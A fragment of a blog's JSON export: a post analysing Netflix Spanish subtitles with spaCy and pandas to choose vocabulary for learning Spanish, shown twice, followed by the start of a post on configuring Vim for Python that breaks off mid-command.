sentences.groupby([sentences.media])\nsentence_group.time_per_word.mean().reset_index().sort_values('time_per_word')\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003emedia\u003c/th\u003e\n\u003cth\u003etime_per_word\u003c/th\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eGran Hotel\u003c/td\u003e\n\u003ctd\u003e0.58\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Chapo\u003c/td\u003e\n\u003ctd\u003e0.59\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLas chicas del cable\u003c/td\u003e\n\u003ctd\u003e0.61\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eÉlite\u003c/td\u003e\n\u003ctd\u003e0.63\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eIngobernable\u003c/td\u003e\n\u003ctd\u003e0.64\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Ministerio del Tiempo\u003c/td\u003e\n\u003ctd\u003e0.64\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eFariña\u003c/td\u003e\n\u003ctd\u003e0.65\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl ciudadano ilustre\u003c/td\u003e\n\u003ctd\u003e0.67\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eNeruda\u003c/td\u003e\n\u003ctd\u003e0.68\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Piloto\u003c/td\u003e\n\u003ctd\u003e0.69\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de papel\u003c/td\u003e\n\u003ctd\u003e0.70\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl bar\u003c/td\u003e\n\u003ctd\u003e0.70\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eVerónica\u003c/td\u003e\n\u003ctd\u003e0.72\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Reina del Sur\u003c/td\u003e\n\u003ctd\u003e0.75\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eClub de Cuervos\u003c/td\u003e\n\u003ctd\u003e0.76\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003e0.76\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003ePablo Escobar\u003c/td\u003e\n\u003ctd\u003e0.77\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eTarde para la ira\u003c/td\u003e\n\u003ctd\u003e0.77\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de las flores\u003c/td\u003e\n\u003ctd\u003e0.81\u003c/td\u003e\n\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eLuckily the two series that have the least amount of vocabulary also speak the slowest! So these will be the series I start with. The final question I wanted to answer is \"What are the top words I am missing for a series\". Since I will know 75% of the series from the top 200 words, I am hoping there are some top words from a specific series that I can also learn to get an even higher understanding.\u003c/p\u003e\n\u003cp\u003eFirst, find which words are in each show but not in the top 200:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emissing_words_by_show = {}\n\nfor show_name in words['media'].drop_duplicates().values:\n words_in_show = (words[words.media == show_name].groupby(words.word).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n \n frequency_words = grouped_result['word'][:200]\n\n missing_words = words_in_show[~words_in_show.word.isin(frequency_words.values)]\n missing_words_by_show[show_name] = missing_words\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThen we were able to grab them per show:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emissing_words_by_show['La casa de las flores'].head(50)\n\nword\tcount\n31\tmamá\t252\n70\tflorería\t87\n98\tperdón\t56\n102\tsea\t54\n116\tademás\t44\n126\tahorita\t40\n132\tcárcel\t38\n133\tfiesta\t38\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo adding those few words to my vocabulary will also give me a better understanding of the series.\u003c/p\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003eI believe a data-driven approach to language learning will be an effective way to get me speaking better spanish. It was a ton of fun to play with spaCy, pandas, and jupyter as well!\u003c/p\u003e\n\u003cp\u003eI will improve the data analysis over time as well but I do believe this is a pretty good starting point!\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/meme.png\"\u003e\n\u003c/center\u003e","category":"Development","date":"2022-04-30T00:00:00Z","tags":["Python","Pandas","NLP"],"title":"How to speak spanish like a colombian drug lord!"}]},"NLP":{"count":1,"posts":[{"id":["2022","learning_spanish"],"path":"2022/learning_spanish","contentHtml":"\u003cp\u003eI have been living in Puerto Rico for 4 years but two of those have been COVID and so I have not been able to practice Spanish as much as I would like. So to speed up my learning I have decided I want to watch a lot of spanish speaking television to start training my ears, but to do this I need a baseline of words I understand to be able to even know what they are saying!\u003c/p\u003e\n\u003cp\u003eLearning through apps like Duolingo, Drops, etc start with weird topics like vegetables that do not get you to a very good baseline for actually understanding daily conversations, so I think consuming TV is a better use of my time.\u003c/p\u003e\n\u003ch2\u003eSubtitles\u003c/h2\u003e\n\u003cp\u003eI have decided the way to understand what the best words to study are is to download every subtitle for every episode of a show I want to watch and then count each word. The more a word is spoken the more important it is for me to know it since I will be hearing it a lot in the show.\u003c/p\u003e\n\u003cp\u003eI am going to download subtitles from Netflix. Subtitles in Netflix are in WebVTT format, which looks like this:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e248\n00:17:58.285 --\u003e 00:18:01.163 position:50.00%,middle align:middle size:80.00% line:79.33% \nYo de verdad espero que ustedes\nme vean como una amiga, ¿mmm?\n\n249\n00:18:01.247 --\u003e 00:18:02.539 position:50.00%,middle align:middle size:80.00% line:84.67% \nNo como una madrastra.\n\n250\n00:18:04.250 --\u003e 00:18:06.127 position:50.00%,middle align:middle size:80.00% line:84.67% \nYo nunca te vi como una madrastra.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eIt gives you a start time, end time, and the text on the screen. So my first process was parsing this format and just turning it into a list of words using https://github.com/glut23/webvtt-py.\u003c/p\u003e\n\u003ch3\u003eDummy parsing\u003c/h3\u003e\n\u003cp\u003eWhat I basically did was \u003ccode\u003etext.split(\" \")\u003c/code\u003e and started counting the words. This approach was quick and painless but it had a few downsides. Some words \u003cem\u003elook\u003c/em\u003e the same when in reality they are not and so this meant I would have to study every meaning of a word even if it was more rare.\u003c/p\u003e\n\u003cp\u003eAn example of this is the word \"como\", you can say:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eHaz como te digo: \"Do as I say\", where como means \"as\"\u003c/li\u003e\n\u003cli\u003ecomo tacos todos los dias: \"I eat tacos every day\", where como is a conjugated form of the verb \"to eat\"\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI need to know which version of a word is being used so I can count it properly.\u003c/p\u003e\n\u003ch3\u003eRegular Expressions are always the answer\u003c/h3\u003e\n\u003cp\u003eI could not figure out what the word was without it being in a complete sentence, but subtitles are fragments. They are split up into timings for displaying on the screen but they do not include entire sentences. For example, it might look like this:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e23\n00:01:21.960 --\u003e 00:01:23.520 position:50.00%,middle align:middle size:80.00% line:84.67% \nSolo las que luchan por ellos\n\n24\n00:01:23.680 --\u003e 00:01:25.680 position:50.00%,middle align:middle size:80.00% line:84.67% \nconsiguen sus sueños.\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eI want to detect the start of a sentence and the end of a sentence and then combine it, so that you end up with \"Solo las que luchan por ellos consiguen sus sueños.\". My first thought was a regular expression on punctuation. This worked well \u003cem\u003emost\u003c/em\u003e of the time but there were enough exceptions to the rule that it broke often and generated a lot of broken sentences:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAbbreviations like \"EE. UU\" for estados unidos (united states)\u003c/li\u003e\n\u003cli\u003eEllipsis\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSplitting on spaces also did not work for identifying the parts of speech since I needed the context around the word.\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/regex-extraction.png\"\u003e\n\u003c/center\u003e\n\u003ch2\u003eNatural Language Processing\u003c/h2\u003e\n\u003cp\u003eSo to solve my pain I decided to grab https://spacy.io/ and do some NLP on the subtitles so that I could identify the proper parts of speech and get an accurate representation of the words I needed to learn.\u003c/p\u003e\n\u003cp\u003eThe way spaCy works is you can send it a sentence and it will return you a set of tokens:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\u003e\u003e\u003e import spacy\n\u003e\u003e\u003e nlp = spacy.load(\"es_core_news_sm\")\n\u003e\u003e\u003e [x.pos_ for x in nlp(\"Hola, como estas?\")]\n['PROPN', 'PUNCT', 'SCONJ', 'PRON', 'PUNCT']\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo now I could identify the parts of speech and pull sentences together through end of sentence punctuation. The first thing I did was generate a CSV of sentences that looked like this:\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003esentence\u003c/th\u003e\n\u003cth\u003estart\u003c/th\u003e\n\u003cth\u003eend\u003c/th\u003e\n\u003cth\u003eshow\u003c/th\u003e\n\u003cth\u003efile\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003eSi no, le voy a cortar todos los deditos\u003c/td\u003e\n\u003ctd\u003e00:00:20.605\u003c/td\u003e\n\u003ctd\u003e00:00:24.125\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eOnce I had a CSV of sentences I could send those back through spaCy for NLP and then start counting words, to generate another CSV:\u003c/p\u003e\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003eword\u003c/th\u003e\n\u003cth\u003epos\u003c/th\u003e\n\u003cth\u003eshow\u003c/th\u003e\n\u003cth\u003efile\u003c/th\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ea\u003c/td\u003e\n\u003ctd\u003eADP\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003ecortar\u003c/td\u003e\n\u003ctd\u003eVERB\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd\u003etodos\u003c/td\u003e\n\u003ctd\u003ePRON\u003c/td\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003eEl marginal S02E02 WEBRip Netflix es[cc].vtt\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eFrom there I had all the data I needed! So now it was time to start doing some data analysis!\u003c/p\u003e\n\u003ch2\u003eData analysis\u003c/h2\u003e\n\u003cp\u003eUsing a jupyter notebook ( https://jupyter.org/ ) I grabbed pandas ( https://pandas.pydata.org/ ) and read in my CSVs to start analyzing the results.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\npd.set_option('display.max_rows', 1000)\nwords = pd.read_csv('word_data.csv.gz', compression='gzip', delimiter=',')\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe words dataframe is built up out of the second table I showed above with just words and their parts of speech. I started off grouping the dataset by the word so I could get a count for how many times it was spoken in every series I parsed:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003egrouped_result = (words.groupby(words.word).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n\ngrouped_result.head(300)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhich returned a list of words and their count:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\tword\tcount\n0\tque\t94430\n1\tno\t75931\n2\ta\t70968\n3\tde\t67982\n4\tser\t64226\n5\tla\t52143\n6\ty\t44390\n7\testar\t37819\n8\tel\t35920\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow I wanted to identify where my diminishing returns would be. Is there a set of words that I must learn because they are spoken so often that I would not understand a conversation if they were not in my vocabulary?\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_returns.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eAs you can see in this chart, the usage for words drops off at around the ~200 mark. So there are basically 150 words I \u003cem\u003emust\u003c/em\u003e know and then the rest are equally important. I was not quite happy with this because some parts of speech are higher priority than others, for example I think having a strong understanding of the popular verbs will go a long way. So I also wanted to identify what are the most important verbs to learn:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003egrouped_verbs = (words[words.pos == 'VERB'].groupby(['word', 'pos']).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n\ngrouped_verbs.head(50)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eWhich got me this:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e\tword\tpos\tcount\n0\ttener\tVERB\t22072\n1\thacer\tVERB\t14946\n2\tir\tVERB\t12570\n3\tdecir\tVERB\t11314\n4\tquerer\tVERB\t11083\n5\tver\tVERB\t10269\n6\testar\tVERB\t9780\n7\tsaber\tVERB\t8704\n8\tser\tVERB\t7674\n9\tdar\tVERB\t5722\n10\tpasar\tVERB\t5528\n11\thablar\tVERB\t5355\n12\tvenir\tVERB\t5145\n13\tcreer\tVERB\t4895\n14\tsalir \tVERB\t3395\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eVerbs had a slightly different drop-off pattern when I targeted them directly:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_verbs.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eI get a big bang for my buck by learning those top 40 verbs. Nouns on the other hand are much more spread out and most are evenly distributed:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eword\tpos\tcount\n0\tgracias\tNOUN\t4676\n1\tfavor\tNOUN\t4625\n2\tseñor\tNOUN\t4116\n3\tverdad\tNOUN\t3566\n4\tvida\tNOUN\t2673\n5\thombre\tNOUN\t2601\n6\tmadre\tNOUN\t2597\n7\tvez\tNOUN\t2537\n8\ttiempo\tNOUN\t2492\n9\thijo\tNOUN\t2215\n\u003c/code\u003e\u003c/pre\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/diminishing_nouns.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eSo then I thought to myself... How much of a show would I understand if I just learned these most important words? So I started by excluding some of the easy parts of speech and focused on the most important:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003efind_important_words = (words[~words.pos.isin(['PRON', 'CONJ', 'ADP', 'ADV', 'SCONJ', 'AUX', 'INTJ'])].groupby(['word', 'pos']).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n\nfind_important_words.head(50)\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe top 20 were all verbs except for \u003ccode\u003ebueno\u003c/code\u003e and \u003ccode\u003egracias\u003c/code\u003e. So now with my list of what I considered \"important words\" I plotted it to find what amount of words I wanted to learn:\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/important_words.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eIt looks like 200 learned words would give me a reasonable amount of understanding for a series, so I decided to calculate how much of a series I would understand if I learned just those first 200 words:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003epercentages = {}\n\nfor show_name in words['media'].drop_duplicates().values:\n words_in_show = (words[words.media == show_name].groupby(words.word).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n \n total_words_handled = 0\n\n for word in grouped_result['word'][:200]:\n values = words_in_show[words_in_show.word == word]['count'].values\n\n if values.size \u003e 0:\n total_words_handled += values[0]\n\n percentages[show_name] = total_words_handled / words_in_show.sum().loc['count']\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow I had a table that would show me what percentage of the spoken words were covered by the first 200 words in my list:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ep_df = pd.DataFrame(percentages.items(), columns=['show', 'percentage'])\np_df = p_df.sort_values(by='percentage')\np_df['percentage'] = p_df['percentage'] * 100\npd.options.display.float_format = '{:,.2f}%'.format\np_df\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003eShow\u003c/th\u003e\n\u003cth\u003ePercentage\u003c/th\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eVerónica\u003c/td\u003e\n\u003ctd\u003e64.24%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl ciudadano ilustre\u003c/td\u003e\n\u003ctd\u003e65.28%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Chapo\u003c/td\u003e\n\u003ctd\u003e66.68%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eNeruda\u003c/td\u003e\n\u003ctd\u003e66.89%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de papel\u003c/td\u003e\n\u003ctd\u003e67.56%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Ministerio del Tiempo\u003c/td\u003e\n\u003ctd\u003e68.03%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eClub de Cuervos\u003c/td\u003e\n\u003ctd\u003e68.19%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003e68.47%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eIngobernable\u003c/td\u003e\n\u003ctd\u003e68.59%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003ePablo Escobar\u003c/td\u003e\n\u003ctd\u003e70.20%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eFariña\u003c/td\u003e\n\u003ctd\u003e70.95\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Reina del Sur\u003c/td\u003e\n\u003ctd\u003e71.52%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eGran Hotel\u003c/td\u003e\n\u003ctd\u003e73.15%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLas chicas del cable\u003c/td\u003e\n\u003ctd\u003e73.58%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eÉlite\u003c/td\u003e\n\u003ctd\u003e73.78%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Piloto\u003c/td\u003e\n\u003ctd\u003e74.03%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl bar\u003c/td\u003e\n\u003ctd\u003e74.07%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de las flores\u003c/td\u003e\n\u003ctd\u003e75.40%\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eTarde para la ira\u003c/td\u003e\n\u003ctd\u003e75.59%\u003c/td\u003e\n\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eBut living in Puerto Rico, one thing I have realized is speed of speech is also important. I have a much easier time speaking with people from Colombia and Mexico than I do with Puerto Ricans because they speak so much faster. So even though I could understand 75% of \"Tarde para la ira\" if I learned the 200 words, I want to make sure they are speaking at a pace I could understand as well.\u003c/p\u003e\n\u003cp\u003eSo I loaded up the other CSV file that was the full sentences and added a \"time per word\" column:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003esentences = pd.read_csv('sentences.csv.gz', compression='gzip', delimiter=',', parse_dates=['start', 'end'])\nsentences['total_time'] = (sentences['end'] - sentences['start']).dt.total_seconds()\nsentences['word_count'] = sentences['sentence'].str.split().str.len()\nsentences['time_per_word'] = sentences['total_time'] / sentences['word_count']\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThen I was able to have a speed rating for each show:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003esentence_group = sentences.groupby([sentences.media])\nsentence_group.time_per_word.mean().reset_index().sort_values('time_per_word')\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003ctable\u003e\n\u003ctbody\u003e\u003ctr\u003e\n\u003cth\u003emedia\u003c/th\u003e\n\u003cth\u003etime_per_word\u003c/th\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eGran Hotel\u003c/td\u003e\n\u003ctd\u003e0.58\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Chapo\u003c/td\u003e\n\u003ctd\u003e0.59\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLas chicas del cable\u003c/td\u003e\n\u003ctd\u003e0.61\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eÉlite\u003c/td\u003e\n\u003ctd\u003e0.63\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eIngobernable\u003c/td\u003e\n\u003ctd\u003e0.64\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl Ministerio del Tiempo\u003c/td\u003e\n\u003ctd\u003e0.64\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eFariña\u003c/td\u003e\n\u003ctd\u003e0.65\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl ciudadano ilustre\u003c/td\u003e\n\u003ctd\u003e0.67\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eNeruda\u003c/td\u003e\n\u003ctd\u003e0.68\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Piloto\u003c/td\u003e\n\u003ctd\u003e0.69\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de papel\u003c/td\u003e\n\u003ctd\u003e0.70\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl bar\u003c/td\u003e\n\u003ctd\u003e0.70\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eVerónica\u003c/td\u003e\n\u003ctd\u003e0.72\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa Reina del Sur\u003c/td\u003e\n\u003ctd\u003e0.75\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eClub de Cuervos\u003c/td\u003e\n\u003ctd\u003e0.76\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eEl marginal\u003c/td\u003e\n\u003ctd\u003e0.76\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003ePablo Escobar\u003c/td\u003e\n\u003ctd\u003e0.77\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eTarde para la ira\u003c/td\u003e\n\u003ctd\u003e0.77\u003c/td\u003e\n\u003c/tr\u003e\u003ctr\u003e\n\u003ctd\u003eLa casa de las flores\u003c/td\u003e\n\u003ctd\u003e0.81\u003c/td\u003e\n\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003cp\u003eLuckily the two series that have the least amount of vocabulary also speak the slowest! So these will be the series I start with. The final question I wanted to answer is \"What are the top words I am missing for a series\". Since I will know 75% of the series from the top 200 words, I am hoping there are some top words from a specific series that I can also learn to get an even higher understanding.\u003c/p\u003e\n\u003cp\u003eFirst, find which words are in each show but not in the top 200:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emissing_words_by_show = {}\n\nfor show_name in words['media'].drop_duplicates().values:\n words_in_show = (words[words.media == show_name].groupby(words.word).size() \n .sort_values(ascending=False) \n .reset_index(name='count')\n .drop_duplicates(subset='word'))\n \n frequency_words = grouped_result['word'][:200]\n\n missing_words = words_in_show[~words_in_show.word.isin(frequency_words.values)]\n missing_words_by_show[show_name] = missing_words\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThen we were able to grab them per show:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003emissing_words_by_show['La casa de las flores'].head(50)\n\nword\tcount\n31\tmamá\t252\n70\tflorería\t87\n98\tperdón\t56\n102\tsea\t54\n116\tademás\t44\n126\tahorita\t40\n132\tcárcel\t38\n133\tfiesta\t38\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo adding those few words to my vocabulary will also give me a better understanding of the series.\u003c/p\u003e\n\u003ch2\u003eConclusion\u003c/h2\u003e\n\u003cp\u003eI believe a data-driven approach to language learning will be an effective way to get me speaking better spanish. It was a ton of fun to play with spaCy, pandas, and jupyter as well!\u003c/p\u003e\n\u003cp\u003eI will improve the data analysis over time as well but I do believe this is a pretty good starting point!\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/learning_spanish/meme.png\"\u003e\n\u003c/center\u003e","category":"Development","date":"2022-04-30T00:00:00Z","tags":["Python","Pandas","NLP"],"title":"How to speak spanish like a colombian drug lord!"}]},"Vim":{"count":1,"posts":[{"id":["old","turning_vim_into_a_modern_python_ide"],"path":"old/turning_vim_into_a_modern_python_ide","contentHtml":"\u003cp\u003eTL;DR:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ git clone https://github.com/sontek/dotfiles.git\n$ cd dotfiles\n$ ./install.sh vim\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch1\u003eIntro\u003c/h1\u003e\n\u003cp\u003eBack in 2008, I wrote the article \u003ca href=\"http://sontek.net/python-with-a-modular-ide-vim\"\u003ePython with a modular IDE\n(Vim)\u003c/a\u003e. Years later, I\nhave people e-mailing me and commenting daily asking for more\ninformation, even though most of the information in it is outdated. Here\nis the modern way to work with Python and Vim to achieve the perfect\nenvironment.\u003c/p\u003e\n\u003cp\u003eBecause one of the most important parts about a development environment\nis the ability to easily reproduce across machines, we are going to\nstore our vim configuration in git:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ mkdir ~/.vim/\n$ mkdir ~/.vim/{autoload,bundle}\n$ cd ~/.vim/\n$ git init\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe purpose of the autoload directory is to automatically load the vim\nplugin \u003ca href=\"https://github.com/tpope/vim-pathogen\"\u003ePathogen\u003c/a\u003e, which we'll\nthen use to load all other plugins that are located in the bundle\ndirectory. So download pathogen and put it in your autoload folder.\u003c/p\u003e\n\u003cp\u003eYou'll need to add the following to your ~/.vimrc so that pathogen\nwill be loaded properly. Filetype detection must be off when you run the\ncommands so its best to execute them first:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003efiletype off\ncall pathogen#runtime_append_all_bundles()\ncall pathogen#helptags()\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eNow lets add all of the vim plugins we plan on using as submodules to\nour git repository:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003egit submodule add http://github.com/tpope/vim-fugitive.git bundle/fugitive\ngit submodule add https://github.com/msanders/snipmate.vim.git bundle/snipmate\ngit submodule add https://github.com/tpope/vim-surround.git bundle/surround\ngit submodule add https://github.com/tpope/vim-git.git bundle/git\ngit submodule add https://github.com/ervandew/supertab.git bundle/supertab\ngit submodule add https://github.com/sontek/minibufexpl.vim.git bundle/minibufexpl\ngit submodule add https://github.com/wincent/Command-T.git bundle/command-t\ngit submodule add https://github.com/mitechie/pyflakes-pathogen.git\ngit submodule add https://github.com/mileszs/ack.vim.git bundle/ack\ngit submodule add https://github.com/sjl/gundo.vim.git bundle/gundo\ngit submodule add https://github.com/fs111/pydoc.vim.git bundle/pydoc\ngit submodule add https://github.com/vim-scripts/pep8.git bundle/pep8\ngit submodule add https://github.com/alfredodeza/pytest.vim.git bundle/py.test\ngit submodule add https://github.com/reinh/vim-makegreen bundle/makegreen\ngit submodule add 